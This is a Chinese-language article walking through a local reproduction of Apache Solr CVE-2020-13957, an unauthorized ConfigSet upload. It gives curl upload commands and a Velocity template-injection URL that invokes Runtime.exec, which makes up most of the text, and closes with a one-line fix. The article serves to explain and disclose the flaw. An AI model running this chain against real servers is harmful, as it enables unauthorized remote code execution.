您好,登錄后才能下訂單哦!
本篇文章為大家展示了Apache Solr 未授權上傳的漏洞CVE-2020-13957怎么理解,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
0x00簡介
Solr 是一個開源的企業級搜索服務器,底層使用易于擴展和修改的Java 來實現。服務器通信使用標準的HTTP 和XML,所以如果使用Solr 了解Java 技術會有用卻不是必須的要求。
Solr 主要特性有:強大的全文檢索功能,高亮顯示檢索結果,動態集群,數據庫接口和電子文檔(Word ,PDF 等)的處理。而且Solr 具有高度的可擴展,支持分布搜索和索引的復制。
0x01漏洞概述
Apache Solr 發布公告,舊版本的 ConfigSet API 中存在未授權上傳漏洞風險,被利用可能導致 RCE(遠程代碼執行)。
0x02影響版本
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
0x03環境搭建
1.本次測試環境為solr7.0.1下載地址如下:
https://archive.apache.org/dist/lucene/solr/7.0.1/
2. 進入solr-7.7.0/bin目錄下,使用 ./solr start -e cloud -force啟動一個cloud示例,默認安裝即可。
./solr start -e cloud -force
顯示到這一步表示安裝完成
在瀏覽器輸入http://127.0.0.1:8983/
0x04漏洞利用
進入到/solr-7.0.1/server/solr/configsets/sample_techproducts_configs/conf 目錄。
下修改solrconfig.xml如下內容:輸入wq或x保存
原配置內容: <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy"> <str name="template.base.dir">${velocity.template.base.dir:}</str> </queryResponseWriter> |
修改后: <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy"> <str name="template.base.dir">${velocity.template.base.dir:}</str> <str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str> <str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str> </queryResponseWriter> |
3.然后執行zip -r - * > mytest.zip
4.然后接著執行curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=mytest"
5. 然后接著執行curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"
6. 到這里可以看到已經上傳上去名為mytest2的Collection。現在就可以使用漏洞執行RCE。
http://ip:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
0x05修復建議
升級solr到最新版本
上述內容就是Apache Solr 未授權上傳的漏洞CVE-2020-13957怎么理解,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。